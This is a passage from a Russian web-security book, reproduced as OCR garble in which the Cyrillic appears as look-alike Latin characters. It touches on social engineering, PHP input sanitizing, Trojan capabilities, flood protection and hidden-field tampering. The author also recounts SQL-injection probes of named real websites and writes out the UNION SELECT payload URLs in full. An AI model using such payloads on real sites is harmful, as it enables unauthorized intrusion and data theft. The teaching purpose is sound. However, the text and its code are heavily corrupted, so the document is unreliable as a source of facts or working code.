CMOT Ero BLITIONHHTG.
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OcHoBbI 6e3o0nacHOCTU

B 5Toit riae Mbl NOIHAKOMUMCA C HCXOAHBIMU NONOKEHHAMM, KOTOpbIE O3BOAT
HaM YIHaTh, KaK Xakepbl B3NaMb1BaloT Web-caiiTel. B Hauane rasbl noBepXHOCTHO
GyaeT 3aTpOHYTa TeMa COLUMANBHON HHXXEHEPHH, B AbHeiillieM Mbl He GYIeM ue-
noNb30BaTh €€ (Hy MOXCT COBCEM UyTh-YyTh) 1A JOCTHXEHHA HEOBXOXMMOro
pesynbrara. [Tocnie Mbl IO3HAKOMHMCA C OCHOBAMHM B3TOM2 M PacCMOTPHM BO3-
MOXHbIE BApHAHTbI 3ALHTbI OT HEro.

ConeprkuMoe 3TOM T7IaBbl NEPECeKAeTCA C HEKOTOPbIMA OTPBIBKAMH M3 XPYTHX
MOUX KHHUr. JIeno B TOM, 4TO B Heit 1 cOGpan BCe CaMoe MHTEPECHOE U3 CBOMX npe-
JbIRYIRUX paloT, AONONHMUT H OGHOBHT HH(HOPMALIMIO C YHETOM TEKYLUKX peasinit,

1.1. CounansHana uHXeHepua

CoumanbHas UHXeHepUs — CamOe MOIIHOE OpykMe Xakepa. C ero noMoulsio
npoucxonuno GombluMHCTBO HauGomee FPOMKMX BINOMOB M COABANKCH CAMBIE
M3BECTHBIE BHPYCHL. BenoMuuTe Bupyc AHHbl KypHHKOBOH, KOrIa NONb30BATENAM
NPHUXOZMNIO NKCbMO C BIIOKEHUEM M NPEAOHKEHHEM NOCMOTPETh doTorpaduio
ofHakeHHOH AHHbI. 3TO TOXE COUManbHAd MHKEHEpHA, KOTOpad MrpacT Ha clia-
GocTax uenobeka. S AyMaro, 4TO JIOGONBITCTBO MYXHHH (a 3T0 G6nbluas vacTb
no/b3oRaTenell MHTepHeTa), KOTOpBIE 3ATYCKANK NPUKPENNeHHbIN hafin 1 Takum
0fpasom 3apaxany CBOl KOMMbIOTED, NOMOTIIO PACAPOCTPRHEHUIO 3TOMO BHPYCH,

COuMaﬂhHaﬂ HHXEHEpHA OCHOBaHA Ha MCHUXONIOMMY YENOBEK2 W HCHOMb3YeT ero
cnabble CTOPOHBI. Cee NOMOLUBIO XaKepbl 3aCTABNAIOT XKePTBY AENaTh TO, 4TO HM
iyXHO! 32paXaloT KOMIBIOTEPSI, NOy4atoT naponu. CKoNbko pa3 A Chbllan npo
YKPAJICHHBIE HOMEP2 KPEANTHBIX KapT ¢ NOMOIIBIO NPOCTLIX NOTOBbIX cooGmeHuA,
Llosib30BaTENb NOMYHAET NHCHMO ¢ NPOcbGOH COOBLIKUTE CBOH Naponb, MOTOMY YTO
Oan paHHbIX GaHka MOPYWIMAACH H3-33 MOFOAHBIX YCNOBWHA, NPOKA3 XAKCPA HIH
NICHCPaBHOCTH 060py.aoBanHs. Huyero He noa03peBatoLiye NOALIOBATE/IN BCOraa
€00BILAIOT AEHHBIE, TOTOMY YTO GOSTCA NOTEPATE HHPOPMBLMIO,
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Hau6onee pacnpoctpanentoii CYBJ 8 Web spnsercas MySQL. Jlnsa nee cymecr-
BYET aBTOMATH4ECKUH MeTOA ONTHMHIALKK: ONMEPaTop OPTIMIZE, KOTOPBIFI MOXeT
TIOBBICHTb CKOPOCThH PEGOTLI € TTOMOLIBIO BBITIONHEHUA npo(bvulalcruqecxux neHcT-
BU#, KOTOpBIE BKITIOYAIOT COPTHPOBKY HHAGKCHBIX CTPAHML, OGHOBMEHWE CTaTH-
CTHKH, OHKCTKY YAAJIEHHBIX CTPOK U T. 4. Oneparop MeeT cleayomHii Bua:

OPTIMIZE TABLE name

B kauecTBe napaMeTpa name yKa3blBaeTcs WMA Tabnauel, koTopas Tpebyer omTu-
MH3aLMH.

Cospementbie CYB][ na pbiGopa npasuibHOro naaxa sbimonnenna SQL-sanpoca
MCTIONB3YIOT CTATHCTHKY. ECNu OHa y BaC He BKAIOYEHA HA ABTOMATHYECKOS HC-
MOAb30BAHKE, TO A PEKOMEHAYIO CA€NATh ITO cefiuac.

Kak craTcTuka MoXeT HaM nioMoyp? JOmycTHM, YTO ¥ HAC €CTh CIMcOK paboT-
HUKOB AnTeiHoro uexa. Mpumepno 90% storo cucka (ecnu He Gonee) SyayT co-
CTaBATh MYXKuMHbI, BEfb AMTCHHOE NPOW3IBOACTBO AOCTATOMHO THKENOE g
skeHiuy, Teneps BOMYCTHM, HTO HAM HYXKHO HaBTH BCEX JKEHWIHH U3 3TOTO CITH-
cka. Tak kak ux Mano, vanGonee >dhexTUBHBIM BapUaHTOM GyaeT HCTIONb3OBANKE
HHJIEKCA, HO €CIM HY)XKHO HAiTH MYXC4HH, TO ero adidekTHBHOCTS nanaeT. Konuue-
€TBO BRIGUPAEMbIX 3aMHCEH CTHILKOM BETMKO H JUIS KAXAOH U3 HHX 0BX0aHTS fe-
PpeBo uHAeKca GyfeT NMLWIHUMKA HAKIAAHBMK pacxonamu. Hamuoro mpowe npo-
CKaH¥poBaTL BCIO TAGAMUY, YTO BLINOAHUTE HAMHOrO GhICTpee, nmOTOMY uTO
JAOCTATOYHO 10 OIHOMY Pa3y NPOUMTATH BCE NMCTLA HIKHETO YPOBHA Mujickca Bes
1€06X0AUMOCTH MHOTOPA30BOTO HTEHHA BCEX YPOBHER.

8.2.3. BuiGopxa Heo6XoAMLIX AaHHKLIX

Ilpu paGote c GazamMu AaHHLIX MBI perynapHo numeM SQL-3anpochi Ha BHIGOPKY
nanHbix. KonnuecTeo BRIGHpaeMbiX NaHHLIX MOXeT 6biTh ouenb Gombitum. Ipo-
CTolf npumep — nouckosad cucrema. [lompofyire va Web-caiite Yahoo man
Google samyctuts nouck no cnosy PHP. Mue nouckosas cucteMa coofliuna, 4yro
HaiieHo okono 690 000 000 samuceli u npu 5ToM Ha o6paGoTky 3anpoca noHago~
6unocs Tonsko 0,05 cekyHn. B peanbHOCTH BBIGOPKA TAKMX N2HHBIX 1AXE HA Ca-
MOM GBICTPOM KOMNBIOTEPE ByAeT MPOHCXOAMTE HAMHOIO ZObLIE, TAK OTKYAA KE
TaKas CKOpOCTb? Petnenne HAXOHAUTCS HE B MOLUHBIX KOMIBIOTEpAX KOMIAHWH
Yahoo unu Google, # IPOCTO yBepeH, 4TO BCe KPOSTCA B MPABHIBHOCTH HanHca-
Hua SQL-3anpoca.

Jlonyctum, 4to kaxaas crpoka B 6aze gannbix Google sanumaet scero 100 Gafit.
B peantHOCTH, KOHEYHO XK€, PazMep CTPOKH HAMHOTO Gosibilie, HO MBI OrPAHIYHM-
CA TAKMM MAREHBKMM Y4CAOM, M QAXKE €ro XBaTHT, uTofhl yxacHyThca. Ecnu ym-
HOXKUTL uHcno (00 Ha KONMHECTBO CTPOK B PE3YNILTATE, TO Mbl TIONYUUM, 4TO pe-
3ynetat Gyaer 3anumath 69 I'Gait. Jaxe ecnu CYB] W ucnoaszyemuiii cueHapui
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|
TO BaM AOCTATOUHO MPOBEPHTEL NAPAMETP $pollid HA HANWMME ONACHOH OXMHAD-!
HOWM KaBBIUKH, U ecii HeobxonuMo, To cumsona "%".

Ecnu napametp, kOTOpbili momyuaer cueHapuii, YUCAOBOH, TO €ro OuEHb JErko
npoBepuTh. B cBOMX npoekTax A HamKcan QYHKUMIO checknum, KOTOPAA BRIFALNT,
creayroLuM obpasom:

function checknum($var)

(

Svar=preg_replace("/[*0-9]/1i", "", $var);

return $var;

}
OyHKUMA NOAYYAET B KAYECTBE NAPAMETPA TIEPEMEHHYIO U C TIOMOLILIO Perysisp-
HOTO BBIP@KEHHA BBIPE3ACT M3 ITOW MEPEMEHHON BCE, UTO HE ABIAETCH YHCIIOM,
T. e. Mio6ble Apyrue cuMBOMb ¥ Oykebl. Temepb Mepen UCIONbIOBAHKEM MApaMeT-
pa, Ha KOTOpbIH MOXET MOBHATH NONBIOBATENE (MOTyHaeMbIl Hepes dopmy, 3ar
npocom GET My u3 Cookie), BBinoHaeM creayiomee:

$id = checknum($id) ¢

Taxnm 06pa3soM, MOKHO rapaHTUPOBATS, HTO NAPAMETP COAEPIHUT TONbKO Ludpla
W Huuero apyroro v senserca aGeoniotHo GesonackeiM ans SQL-3ampoca,

JInA NpoBEpPKM CTPOKOBBIX NEPEMEHHBIX MOXHO HAMHCATh (PyHKUMIO checkvar'
KOTOpas GYACT BBINTANCTD NPUMEPHO CASAYIOLIHM 0GpasoM:

function checkvar ($var)

{

$var = addslashes($var);

$var = htmlspecialchars{$var);

return $var;

}

B ar0ii PyHKumMn 8 nepemennoil crayana A06aBNRIOTCA CAZILK Ul BCEX OJUHAp:
HLIX KABBIEK C NOMOLBIO $YHKUNM addslashes, a 3aTem HTML-onepatope! npes
BPALLAIOTCA B TIPOCTON TEKCT ¢ MOMOLUBIO htmlspecialchars, KOTOPbIH POCTE
aTobpaxaercs Ha Web-cTpaHuLie U HE BIMAET Ha e¢ HOpMaTHPOBAHHE.
Hcnons3osanue 37X GyHKUAA NOMOXET CHENaTh BalllM CueHapHW Gesomacuee,

I'naBuoe — He 3a6bIBaTh NPOBEPATH BCE NEPEMEHHDIE, HA KOTOPLIE MOXeET MOB/IHS
AThb NONL30BATEND,

JlaBaiiTe MOCMOTPHM, KaK MOXHO M3MEHMTL AMCTHHT 5.0 [na Toro, uToGb M3ba-
BHTB €70 OT OIKGKH:

$username=$_GET('username'];

Susername = checkvar($username);

print{"Search: <b>$username</b>"):
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Ofa MOMX TOBapHllla NONANUCL Ha ITY YAOUKY, X TIPH 3TOM OHU OYeHE XOPOWO
3HAKOMbI CO BCEMH METOLaMH ﬂpOHHKPiOBeHMSI BHPYCOB B CHCTEMY. Koneuno e,
NpH OTHipaBKe CepBepHDﬁ HaCTH 1 HCMNONbH3IOBAJI AHOHWMHOE NUCHEMO, 4TOGR MeHR
He BblyHcIuM, Takum 06pasom, g no3aboTHUACH, HTOGE! (alin 3aMyCTUAHK, K CKPLLN
HCTOHHMK NPOMCXOMIEHHA TPORHCKON nporpaMMbl. JJaHHbIH MeToA O4EHb CIo-
KeH, T. K. TpebyeT JOCTATOMHO BPEMEHH M CHUI HA MOLFOTOBKY, CO3aHHe Web-
caiTa, pasMeLteHHE Ha HEM CepBEPHON 4acTh TPOAHCKOH NporpaMmbl.

Ecau TposHCcKad mporpaMMa HanpasjieHa Ha BOPOBCTBO naponed, To noche 3apa-
HEHUA OHZ2 MOXET HE32METHC ANA NOJNb30BATENA BbICTATh NHCBMO € ¢BHJ|OM
naponeii Ha onpeAeneHHbIN anpec snekTpoHHoM noutsl. [lpodeccuonansl nerko
HaXO/IAT TaKHMe aApeca (C NOMOILBIO OTNANKH NPUNOKEHHA), HO HA ITOM BCE OCTA-
HasnuBaercs, [IpodeccHOHanbHbIE Xakepb! He TIynbl, H AR TPOSHCKHX (POrpaMM
PerucTpHpYIOT NOYTOBblE anpeca Ha GecriaTHBIX CepBepax, fpH 3TOM yKa3bisaeT-
€A AOXHaA qu)opmauun 0 BAAJENbLE. 3ﬂ0yMbl|.lLﬂeHHHK 3aBOAHT MIOYTOBBIH ALUHK
M NPOBEPAET €roc Ha NPeaMeT MUCeM € NapoiNsMH TOALKO u4epes AHOHUMHBIH
npokcu-cepBep, ¥ y3HaTh peanbhbiii IP-anpec 3Toro uenoBeka CTAHOBUTCS OUEHb
CIIOXKHO.

TposHckHe [POrpaMMbl NOMY4HTN GONbIOE PachpOCTPaHEHWe H3-32 TOrO, YTO
BBIYMCIIHTh 2BTOpa NpH COBMIOAEHHM NPOCTBIX NPABMI AHOHUMHOCTH HE MPOCTO.
Tpu 3TOM MCNONB3OBAHHE CAMHUX NPOTPaMM CTANO NPHMHTHBHBIM 3aHsTHeM. Celi-
Yac JiwKe He Hafo GbiTh NPOrpaMMUCTOM, 4TOOLI CO3XaTh CBOIO COGCTBEHHYIO
nporpamMmMy, JOCTATOYHO BOCMONB3OBATHCH JIOGBIM KOHCTPYKTOPOM, KOTOPBIX
cefiuac 8 MurepHete npenoctaTouno. CaMbiM 3HaMeHUTBIM W3 HEX cran Back
Orifice, 6narogaps KoTOpoMy Gbino NPOM3BEAEHO OUeHb GOMBIIOE KOMMMECTBO
B3710MOB. Ero cepeepnas 4acTh yCTaHaBNMBAETCA Ha KOMILIOTEP KEPTBbI U NOIBO-
NAET XaKePy BHINOMHATL CEAyOLMe aeicTus:

O oCylecTBAATh JOCTYN K KECTKOMY AHCKY YAANEHHONO KoMNbloTepa;
O peaaxTHpoBaTh peecTp;

O 3anyckaTb NpOrpaMMbI Ha HyKOM KOMIIBIOTEpE;

O orenexuBaTs BBEACSHHbIC NAPOTH;

O konupoBaTh CONEPHKMMOE FKPaKa;

O ynpasnaTs mpoueccaMy, B TOM YUCTE M Tiepe3arpy3Koi.

B 370i nNporpaMMe HMEETCH BOIMOKHOCTL Nepe cOOpKoH HcnoaHAeMoro daiina
nobasaats pacuupenna (Plug-in), koTopsiX B MuTepHeTe npesocTaTouHo.

OnacHocTb, KOTOPYIO TaAT B cebe TPOAHCKHE MPOrpaMMbl, OATEEPHCIACTCA W TOM,
410 GONBUIMHCTBO AHTHBHPYCHBIX POFPAMM PEarHpyloT Ha HX Kanuuue, Hanpumep,
AHTHBHPYCHBIE NporpaMmbl WaenTHHuupytoT Back Orifice, kak supyc Win32.BO
{y K2)K0ro @HTHIMPYCa MOXKET GLITh CBOE HMEHOBaHUE BPCACHOCHBIX NPOIPEMM),
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perucTpupoBaThcs Ha Web-calite, €c/u 3TOT DpoLece OTHHMET y MeHs Gonee NATH
MUHYT. M€ JKanko CBOero BpeMenH 1 Tpaduka,

U Bee xe, TakMe BEWIM, KAK 3BUWTHBIA KOA M MOATBEPKIEHUE MO INEKTPOHHOH
NOouTE, YKE CTaNH CTAHAAPTaMM, NOABIOBATEAM CMUPHIHCE ¢ 3THM. C apyroft
CTOPOHbI, Bafe bLel Web-caliToB monyuwiu oTAUYHbIA CIOCO6 rapaHTHPOBATE,
4TO aJPEC ICKTPOHHOM MOYTE!, KAK MUHUMYM, IeHCTBUTENbHBIH, 3 MOXKET GpiTh
Jake W HACTOSAMMH, T. €. TOT, KOTOPBIM ITOCETHTENh NOALIYETCH KAKALIA AeHD, &
HE TONIBKO [UNA PErUCTPaLdM Ha GopyMme.

MosKeT noka3aThed, YT0, YCTAHOBUB BMecTo SMFE npyrofi He OveHb MOMY/APHBIN
tHopyM, Mul u3bexMM OmHCaHHBIX HenpusTHocTel. Ho 310 He Tak. ITopoGHbimu
npobnemMaMH CTPanacT GOMbLIMHCTBO MAICHBKHX M HENPHUMETHBIX paspaGoTok.
Oun peanu30RLIRAIOT TONBKO OCHOBHbIE BOIMOKHOCTH 1O paGoTe ¢ ofMeHoM co-
o6uweHnaMA U o GesonacHocTy, 3a6bIBa% O PasHBIX MPUATHHX MEOUaX, KOTOPBIE
HeobGxonuMbr mioboMy Web-caitty. B nannom ciaysae SMF npocro momancs mae
TIOR PYKY, H Ha eT0 MPHMEpPE MBI PACCMOTPENH THIMuHbIE OIMGKH pa3paBoTum-
xoe. Hepasuo s cmotpes dopym minibb, koTopsiil Taloke He NOATBEPKAAT Perd-
crpaudu u ofaanan TeMu xe npobnemamu,

2.2.2. 3awnTa ot pnyna

CyuwiecTayeT MHOXECTBO METOROB 32MTH OT Guiyna W ayutie Gyner, CiM Bhl
peanusyere cpasy HeckONbKO W3 HyX. JlaaliTe paccMOTpUM 3T MeTORBI, XOTS
KOE-YTO M3 3TOTO MbI YK€ BHHEIY, KOTAa PAaccMaTpUBanY 3alIMTY OT HAaKPYTKH
Bpasd. 2.2u 2.1

00 paspemath OCTABAATH COOGLIEHAR TONLKO 33PerHCTPUPOBAHHLIM MOb3OBATE-
JIAM, B ITOM CTYae 3aMUTHTECA OT (iya powte, Kak U APH HAKPYTKe;

0 zanpewats nonyuenue coobwenni ¢ onHoro u Toro e IP-anpeca B Teuenue
OFIPEAENEHHOTO Bpemeny, Hanpumep, 20 cekyua, Takum ofpasom, xakep cMo-
KET MYCOPHTD HE Haule OQHOTO pasa B 20 cexyHn;

Oe HEKOTOPLIX C/ly4asdx MoAb30BaTE/ib MOXET HMETh BO3MOXXHOCTH OTOPABIATE
cpasy HeCKOMbKO COOBLUCHHIE NOPAN, HO MOXHO CAENaTh OrpaHHuEHHe, YTO
HX NOMKHO ObITh He Gosiee 5 B MHHYTY, € 110GbIM NPOMEKYTKOM BPEMEHH ME-
xay coobmenuamu. Boblile cpenHecTaTUCTHYECKMIE T0NLI0RATENbL (UINYECKH
He ycneer Hanucare,

O ecay Bamr Web-caliT aocTatouno moceuraem W npusaska k IP-agpecy HeBos-
MOXHA, TO TpHAeTcs NpusssbiBaThes k Cookies ¥ coxpaHaTs uHGOpMaLUIO
0 nocaeaxel oTrpaske coobuienya B Takom daiine;

) sanpewaTs oaMHakoBble coobiienus. OT 0QHOrO ¥ TOTO ke 1107L30BATENA 0O
AOJDKHO TIOCTYTIATE ABYX a6COMIOTHO ONMHAKOBEIX COOGLICHUH ¢ MOGLIM Npo-
MCKYTKOM Bpemeny. DTo npocTo BeceMbicieHIo.
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Tocne aroro a Havan noaGupate KOAHYECTBO honel, koTophie soaspamaet SQL-
sanpoc. Y mMens noyuinoch 9 WTyK, IOTOMY YTO 1IpH MCTIONE30BAHHA 0GLeMHEeHHA
KOPPEKTHO BBINOMHWICA TONbKO Clienyiowmii sarpoc (3xech y Hac obveanterve ¢ SQL-
3AMPOCOM, BO3BPAWANOIMM 9 HyAeBbIX nosici): http://www.classicstoday.com/
Classics/ConcertReview_ASPFiles/ViewConcertReview.asp?Action=User &ID=
283 %20union %20all % 20select % 20null,null,null,null,null,null,noll,null,nall.

BocrnosbaoBaThes A2HHON ySIBUMOCTBIO OMeHb COXHO. [I€A0 B TOM, YTO ClleHa-
puit IpOCMATPUBACT TONBKO TIEPBYIO CTPOKY Pe3yasTaTa, T. €. Ty, KOTOPYIO BO3~
BpalaeT KoppexTHelii SQL-3anpoc, npomucanublii B cueHapud. PesyabTaT Bbi-
TIONHEHHA BHEApeHHOro HaMu SQL-3ampoca (3anpoc select mocne oGbeauHEHHR
union) 6ynet wesuaen. Kak noctymats 8 atom ciysae? Jocratouso npocro. Ha-
A 3anaya: BbIGPaTh TAKOH HOMEP CTAaThH, KOTOPOTO HE CYLIECTBYET B Gaje Aak~
HblX. Hampumep, Moo ykasath “[D=99999999”. Takoii craTbu TouHO HeT. To-
ra B peaynsTHpYiowWweM Habope GYNYT 3a0uCH TOAKO M3 HALIErO BHEAPSHHOrO.
SQL-3anpoca, ¥ Mbl CMOXEM BbIACHUTE, Kakue ke Tabmuuer Xpauarcs Ha Web~
cepaepe. [lepe6upaTh MMeHa NPUAETCA 110 OAHOMY.

Cnenyownii  gyr6onbubiii  Web-caift, nomasuwmii MHe Ha riasa, —
www.canadasoccer.com — npuHaanexut Kanaacko#t ¢yr6onbuoit accoumauus
(puc. 6.11).

Mena HauHHAIOT yxe MyraTh MoM MoMcky. Bcero 3a mompHa £ Halen cronbkq
yassumocTeit! CTOMT y4ecTb, UTO A [IPOBOAMI MOMCK TONBKO M0 (GyTGONBHON Tey
MaTHKE U PACCMATPUBAID HCKAIOUMTENLHO Te Web-calfThl, 4To ocTpoeHs! 110 Texy
wonorun ASP u seisloTes nocTaTouHo KpynubiMH, [1pu atom 8 oTMeTar aoMaly
nue Web-cTpannus Wnn Web-caitThi CTpaH TpeThero Mupa (adpuxaHckine
accourauuit gpyT6ona u mp.), rae ypoBeHb XHIHU ¥ NPohEcCHOHANNIMA NPOrpaMs
MHCTOB HaMHOTO HIXKe TakoBeiX 13 Epons win CLUA.

Wrax, owubra Ha Web-caifte www.canadasoccer.com KpoeTes B CUEHAPHH TIpOs
cmoTpa cratedl (cueHapuii viewArticle.asp), 8 napamerpe press_1D. OH He npod
XOJIMT HUKAKHX MPOBEPOK H ECNH NEepeaTh HeKOPPEKTHRIE IAHHbIE, TO AOABIAET
ca owubxa {(puc. 6.12).

ToxGop KonyyecTsa BOIBPALIAEMBIX TOAEH 0KA3AN, YTO KOPPEKTHO BLITIONHAETC!
cnenyrommit  URL ¢ BHeapenHmim  obveiuuenuniv  SQL-3anmpocom|
http://www.canadasoccer.com/eng/media/viewArtical.asp?Press_ID=2365% '
20union %20all % 20select % 20null,null,null,null,null,null,null,pull,null,null,
null,null,null,null--.

MOXHO TIPOLOKMTE HCCNE0BaHHE JaNbiIe H MOMLITATECA YHHUTOXUTE Webe
CaiiT, HO A ceroans A06peI: yke pebaTa HAUMHAIOT HAKPBIBATH NONAHY W nopa 6wl
NIO3APaBHTL TOBApHILA C AHEM poxaeHua. [TosToMy 8 GLICTPO HanMcan NHCbMO
¢ onucaHKem owuOKK Ha BCE agpeca, KOTOPbIE Halien B pazfene xontakros Webs
caiiTa WWW.SOCCEramerica.com, u oTNpaBHuiCA NPas/IHOBATE.
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MOCL, ¥TO €ro MOXHO §yaeT nerko moaoGpath, Tem Gofee Yro BCS CTPYKTypa
Web-caitta goctynHa.
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Pic. 3.9. CTpykrypa Web-caiita

Owubka BraaensLa 8 TOM, YTO OH OCTaBHI Ha Web-caiiTe SRHO He UCTONb3yeMbie
cuexapuu. THII0C aAMHHMCTPATOPY CepBEpa: OH 3anPeTHI AOCTYN K CHCTEMHEIM
JHPEKTOPHAM, @ PA3PEUIMN AOCTYN TONBKO Kk Ge306HAHBIM MankaM, [AE HET HHKa-
KHX ClleHapHeB ¥ nporpamM. Jlaxe ecau Bbl B3NoMaete 10T Web-calit, noctyna
K Apyrnm Web-caiitam Ha 3ToM sxe Web-cepaepe y Bac He Gyner.
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Ipo6rema petnaerca AByMa ciocobamu:

O 3anpeTuTh aBTOMATHHECKOE CO3JaHME NEPEMEHHBIX, XOpollKii ¢nocob AN Ha-
YMHAIOWMUX NPOTPAMMUCTOR, KOTOPbIE HE MMEIOT NPHBBLIYKH HHWLWANHA3HPO-
BaTh EPEMEHHBIE 10 X HCMONB30OBAHMS;

O nepej NPOBEPKAMM if NPOMHMLIMANMIMPOBATS BHAUEHHE NEPEMEHHOMN.

‘Bropo# crioco6 B Buae kona 6yneT BurasneTh creny0OMUM 06pasom:
<2
if (isset($_GET[ 'where']))
{
$file = ' // Mwmamisaws
if ($_GET['where')==1)
$file = 'news/news.html’;

if ($_GET|'where']==2)
$file = 'news/download.html';

BoT T2k BOT 0/1HA CTPOKA KOMA MOXKET CAENaTh Balll CueHapyil Ge3onacHbiM.

B maunom npumepe 5 ynpocun cefe 3aaauy, 0OTOMY YTO CONEPKAMOE GOPMBI fie-
PpenaeTcs METOAOM GET, T. €. uepes cTpoky URL. Tak mapameTpe! HaMHOro npotue
PEAAKTHPOBaTHL. A YTO €CAW MAPAMETP MEPEeNaeTCA METOAOM POST, T. €. ofnaBne-
Hue GopMbl BEITASHUT CNEAYIOWUM 0OpasoM:

<form action="param_post.php” method="post">

Mocre 3TOro B KONE CLIEHAPHS HIMEHUM BCE BXOMACHHMSA CTPOKY S_GET['where']
Ha $_POST[ ‘where']. Teneps, ecsu 3arpysuts 3T0T cueHapwii B Gpaysepe W Bbl-
Gpath kaxofi-To pa3ien B BbINARAIOUIEM CIUCKE, TO Pe3yAbTaT GyneT nepenayd Me-
TONOM POST, & 3HAYHT, Mbl €ro He yeunnm B ctpoke URL. Kak xakep Gyner neiict-
BOBATH B 3TOM cnyqae?

Jla ouerb npocto. Heobxonumo 3arpysuts Web-ctpannuy B Gpaysepe K coxpa-
HWTb ee Ha JokansHOM aKcke (B Gpaysepe Intemet Explorer suibpars mento ®aii |
Coxpannts kak). Coxpansem U oTkprisacm (aiin B mofiom TeKCTOBOM peRaKTo-
pe, nanpumep, B BrokHote. Teneps HaxoguM W pepakTHpyeMm (OpMy OTmpasku
nanueix Web-cepeepy (ctunr 3.9).
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M A NOCT2paloch MPe/UIOKHTL BOIMOXKHbIe BapHaHTL pellleHH PACCMOTPEHHBIX
npobrem k ncnpasnedus ownGox.

3auyem Mbl GyaeM paccmaTpuBaTh aTaku Xakepos? C O1HOW CTOPOHBI, ITOT MaTe-
pHaN MOXKHO BOCTIPUHHMATb KAK MHCTPYKLME TIO BINOMY, HO C APYIO# CTOPOHbI,
BBl HEe CMOXKETE 3aLIHTHTLECS, eCiH He GyaeTe 3HaTh, OTKYAA MOXET NpUHTH yrpo-
3a, JIOMyCTHM, YTO BBl MONKOBOMEN M XOTHTE 3alMTHTL CBOIO TEPPHTOPHIO OT
BTOpKeHKA. Bbr MOKETe BBIKONATE BOKPYT CBOMX 3eMeNb POB, 3aMHHAPOBATH JO-
POr# ¥ PacTAHYTE KOMIOWYIO NMPOBOMOKY, HO BCe 3TH Aeictaua OyayT Gecembic-
NEHHBIMM, BCITH Bpar FOTOBHT BO3AYIWHbIN yap. [TosToMy cHauana creayer Bbisc-
HHUTb, KaK MOXET NeHCTBOBaTb HENPHUATENb, 8 NOTOM YXE UCKaTh HOCTOHHbIH
oreer. FiMeHHO Tak Mbl M nOCTYnHM: GyQieM paccMaTPUBATL BOIMOXKHYIO YTPo3y, a
NIOTOM HCKATh 38UIHTY OT HeE.

Yro noapasymesaeTcs noa Banomom Web-cepsepa? 310 B3nom Web-caiita mn
cnyxbbl, kotopas ofpaGatbisacr Web-ctpanuuni? Mbi Gynem paccmatpusath
npoblieMy KOMILTEKCHO, BKTIOUaA 3AUHTY anNapaTHOM 4acT# W ONepalKOHHOM
cucrembl (OC), a Takoke Web-cepeepa, 6a3s IaHHBIX W CaZMHX CUEHAPHEB, KOTOPBIE.
BRINIONHAOTCH Ha Web-cepeepe. Annaparnyio sacts k OC MBI Gyaem paccmatpi-
BaTh TIOBEPXHOCTHO, TI0 Mepe TOTO, KaK NOHANOBHTCA HaM Ta WiH WHas uHdopMa-
uus. ITpocTo A He AyMaro, YTO CTOUT NHIIHKH pa3 rOBOPHTH O TOM, Kak 3allHIaTh
BIOS koMnbioTepa HIIH 3arpy3dHK: 3TOT BOMPOC YK CTUUIKOM OTAANEH OT Tema-
THKH KHUTH.

Yo He Bowno B KHUTY

Uro He Byner paccMOTpeHO B NaHHOW KHHre ToApoGHO, Tak 3TO COLMATbHAA MH-
seHepia. ITy TeMy Mbi 3aTPOHEM JHILb NOBEPXHOCTHO, XOTA MMEHHO JITOT METOX
NO3BONAET OCYIIECTBUTD B3TOM A0CTAaTOUHO GhicTpo M 3pdekrusHo. Tyt MoxHO
nucaTh OTAENbHYIO KHHCY, M eCiM Bac WHTepecyeT Gonee noapoGHas WHpOpMa-
uMA, TO COBETYIO 0BpaTuThea KGO K Moeil knire "KomnbloTep ria3ami xakepa"
[5], nu60 Kk Kuure rypy counanbHoi Hrxenepiy Kesuna MutHuka — "Hekycctso
o6MaHa: KOHTPONMPOBaHue yeneBeueckoro Gakropa B GesonacHocTn” [1].

B HEKOTOPBIX CAyuasX A1A NOHUMAHUA NPEICTARIEHHONO MaTepHala MOryT noHa-
ROBHTbCA 3HAHHS NpOrpaMMupoBanud. KoHeuHO ke, 8 NOCTapaloch BCe OMMChI-
BaTb AOCTYNHO M NOHATHO KAXKAOMY, BHE 32BHCHMOCTH OT YPOBHS MOArCTOBKY,
¥ BCE e ONLIT NpOrpaMMHpPOBAHNA n 3Hanue koMani OC Linux xenatenbHbl.
O 6ezonacHoctit OC Linux u ee XOMaH/IaX MOXHO NOYHTaTh B KHure "Linux raa-
3amu xakepa” [2], a o nporpammupoBanuy 1t MntepreTa Ha sibike PHP moxio
y3uaTh #3 kauru "PHP rnazamu xakepa” [3].
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BrarogapHoctn

B kaiolt coelt xkuure 1 Garomapio Tex, KTo noMoraer MHe B paGote. He ycramy
6naronapuTh CBOUMX POIHBIX ¥ Ban3KKMxX (KeHy, NeTel, poauTench), KoTopsie exe-
JIHEBHO DKPYXAIOT MEHA K TEPNAT MOK HCUEIHOBEHUA B BUPTYanbHOH peanbHoCTH.

He mMory 3a61Te 1 ipo cBoux Apy3eit o Web-caiiry www.vr-online.ru, Otaens-
Han GraronapHocTy Anexcaapy JI030BCKOMY, ¢ KOTOPbIM MBI IDYXKHM YK€ HoM-
THE COAbl, MYMEHHO Ero peueHIny MOXKHO Habmonarte Ha 3agHel obnoxke Gonb-
ILIMHCTBA MOHX KHHT.

OraenbHas Gaarogaprocts n3narensctey "BXB-TlerepGypr” n scem ero coTpya-
HUKaM, KOTOpble NOMOrajid MHe B CO3IaHHH ITOM KHUH.

Xouy nobrarofapuTh BCEX MOHX 4HTaTenell ¥ Bac, 3a TO, YTO KYNHIK 3TY KHMTY,
a He ckayany 13 FiHTepHeTa HeneranbHylo KONUIO, M HaAEHOCh, 4TO 3Ta paboTa BaM
nioHpasuTCA. Mbl NocTapannch crenath Bce Heobxoaumoe, urobbl kHura Gbina
MHTEPECHOM H HUKTO He noXalen MOTPAaYEHHBIX Ha Hee JEHer.

Ecan BO3HKKHYT BOTIPOCHl HJTH NOXKENaHWA N0 YIYHUIEHHIO AaHHOM KHHTH, TO Bbl
BCET/i2a MOXETE CBA3ATbCA CO MHOM N0 2n1eKTPOHHON noyTe horrific@vr-online.ru.
Ho styswe Bce ke 3anaBath BONpock! Ha dopyme Web-caiita www.vr-online.ru, roe
2 Gb1B2I0 HAMHOTO Yalte.

Bce Ba2aenbLbl BINOMAHHBIX MHOIO BO BpeMs Hanucalus 3Toi kuuru Web-caiiton
6bUTH M3BEIREHEI O HRWACHHBIX YAIBUMMOCTAX, NOITOMY, CCITH Y BaC HE NOMY4HNIOCE
MOBTOPHTD ONIHCAHHBIE JEHCTBUA, SHAUNT, OLIHOKY Y)Ke Hernpasuiu,
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Ecnu ke cmyx6a MCronbiyer peectp M 4TO-TO AMIIET B CHCTEMHBIN kaTaner, T0
JyHule OTKAXKHUTECh OT €€ HCMO/Ib30BAHKA, NOTOMY HTC B 3TOM CiayHae CHHXKaCTCA
